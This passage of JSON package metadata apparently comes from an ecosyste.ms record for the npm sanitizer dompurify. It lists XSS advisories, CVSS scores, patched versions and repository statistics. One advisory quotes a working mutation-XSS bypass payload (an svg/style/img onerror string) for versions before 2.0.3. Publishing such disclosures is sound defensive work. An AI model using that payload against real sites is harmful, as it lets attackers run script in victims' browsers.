elements.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2020-12-18T22:51:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2020-26870","https://github.com/cure53/DOMPurify/commit/02724b8eb048dd219d6725b05c3000936f11d62d","https://github.com/cure53/DOMPurify/compare/2.0.16...2.0.17","https://lists.debian.org/debian-lts-announce/2020/10/msg00029.html","https://research.securitum.com/mutation-xss-via-mathml-mutation-dompurify-2-0-17-bypass/","https://snyk.io/vuln/SNYK-JS-DOMPURIFY-1016634","https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-26870","https://www.oracle.com//security-alerts/cpujul2021.html","https://github.com/advisories/GHSA-63q7-h895-m982"],"source_kind":"github","identifiers":["GHSA-63q7-h895-m982","CVE-2020-26870"],"repository_url":"https://github.com/cure53/DOMPurify","blast_radius":0.0,"created_at":"2022-12-21T16:13:12.456Z","updated_at":"2026-08-16T04:22:39.987Z","epss_percentage":0.04881,"epss_percentile":0.90994,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTYzcTctaDg5NS1tOTgy","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTYzcTctaDg5NS1tOTgy","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"2.0.17","vulnerable_version_range":"\u003c 2.0.17"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTYzcTctaDg5NS1tOTgy/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW1qanEtYzg4cS1xaHI2","url":"https://github.com/advisories/GHSA-mjjq-c88q-qhr6","title":"Cross-Site Scripting in dompurify","description":"Versions of `dompurify` prior to 2.0.7 are vulnerable to Cross-Site Scripting (XSS). It is possible to bypass the package sanitization through Mutation XSS, which may allow an attacker to execute arbitrary JavaScript in a victim's browser.\n\n\n## Recommendation\n\nUpgrade to version 2.0.7 or later.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2020-09-03T21:22:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/cure53/DOMPurify/releases/tag/2.0.7","https://www.npmjs.com/advisories/1223","https://github.com/advisories/GHSA-mjjq-c88q-qhr6"],"source_kind":"github","identifiers":["GHSA-mjjq-c88q-qhr6"],"repository_url":"https://github.com/cure53/DOMPurify","blast_radius":0.0,"created_at":"2022-12-21T16:13:16.378Z","updated_at":"2026-08-16T04:22:54.114Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW1qanEtYzg4cS1xaHI2","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW1qanEtYzg4cS1xaHI2","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"2.0.7","vulnerable_version_range":"\u003c 2.0.7"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW1qanEtYzg4cS1xaHI2/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWNocWotajRmaC1ydzdt","url":"https://github.com/advisories/GHSA-chqj-j4fh-rw7m","title":"Cross-Site Scripting in dompurify","description":"Versions of `dompurify` prior to 2.0.3 are vulnerable to Cross-Site Scripting (XSS). The package has an XSS filter bypass due to Mutation XSS in both Chrome and Safari through a combination of `\u003csvg\u003e`/`\u003cmath\u003e` elements and `\u003c/p\u003e`/`\u003c/br\u003e`. An example payload is: `\u003csvg\u003e\u003c/p\u003e\u003cstyle\u003e\u003ca id=\"\u003c/style\u003e\u003cimg src=1 onerror=alert(1)\u003e\"\u003e`. This allows attackers to bypass the XSS protection and execute arbitrary JavaScript in a victim's browser.\n\n\n## Recommendation\n\nUpgrade to version 2.0.3 or later. You may also disallow `\u003csvg\u003e` and `\u003cmath\u003e` through `dompurify` configurations:\n```DOMPurify.sanitize(input, {\n     FORBID_TAGS: ['svg', 'math']\n });```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2020-08-28T21:25:11.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2019-16728","https://research.securitum.com/dompurify-bypass-using-mxss/","https://www.npmjs.com/advisories/1205","https://lists.debian.org/debian-lts-announce/2020/10/msg00029.html","https://github.com/advisories/GHSA-chqj-j4fh-rw7m"],"source_kind":"github","identifiers":["GHSA-chqj-j4fh-rw7m","CVE-2019-16728"],"repository_url":null,"blast_radius":0.0,"created_at":"2022-12-21T16:13:22.709Z","updated_at":"2026-08-15T20:16:29.895Z","epss_percentage":0.0167,"epss_percentile":0.74504,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWNocWotajRmaC1ydzdt","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWNocWotajRmaC1ydzdt","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003c 2.0.3"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWNocWotajRmaC1ydzdt/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/dompurify","docker_dependents_count":3491,"docker_downloads_count":2286374267,"usage_url":"https://repos.ecosyste.ms/usage/npm/dompurify","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/dompurify/dependencies","status":null,"funding_links":["https://github.com/sponsors/cure53"],"critical":true,"issue_metadata":{"last_synced_at":"2026-08-10T10:20:26.152Z","issues_count":288,"pull_requests_count":467,"avg_time_to_close_issue":304699.46303501946,"avg_time_to_close_pull_request":134760.5588235294,"issues_closed_count":257,"pull_requests_closed_count":442,"pull_request_authors_count":60,"issue_authors_count":252,"avg_comments_per_issue":3.90625,"avg_comments_per_pull_request":0.5995717344753747,"merged_pull_requests_count":335,"bot_issues_count":0,"bot_pull_requests_count":110,"past_year_issues_count":46,"past_year_pull_requests_count":196,"past_year_avg_time_to_close_issue":173878.83333333334,"past_year_avg_time_to_close_pull_request":44021.53888888889,"past_year_issues_closed_count":36,"past_year_pull_requests_closed_count":180,"past_year_pull_request_authors_count":11,"past_year_issue_authors_count":40,"past_year_avg_comments_per_issue":3.6956521739130435,"past_year_avg_comments_per_pull_request":0.2193877551020408,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":77,"past_year_merged_pull_requests_count":133,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/issues","maintainers":[{"login":"cure53","count":214,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/cure53"},{"login":"x00mario","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/x00mario"}],"active_maintainers":[{"login":"cure53","count":103,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/cure53"},{"login":"x00mario","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/x00mario"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/dompurify/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/dompurify/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/dompurify/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/dompurify/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/dompurify/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/dompurify/codemeta","maintainers":[{"uuid":"cure53","login":"cure53","name":null,"email":"mario@cure53.de","url":null,"packages_count":1,"html_url":"https://www.npmjs.com/~cure53","role":null,"created_at":"2022-11-10T11:33:15.214Z","updated_at":"2022-11-10T11:33:15.214Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/cure53/packages"}]}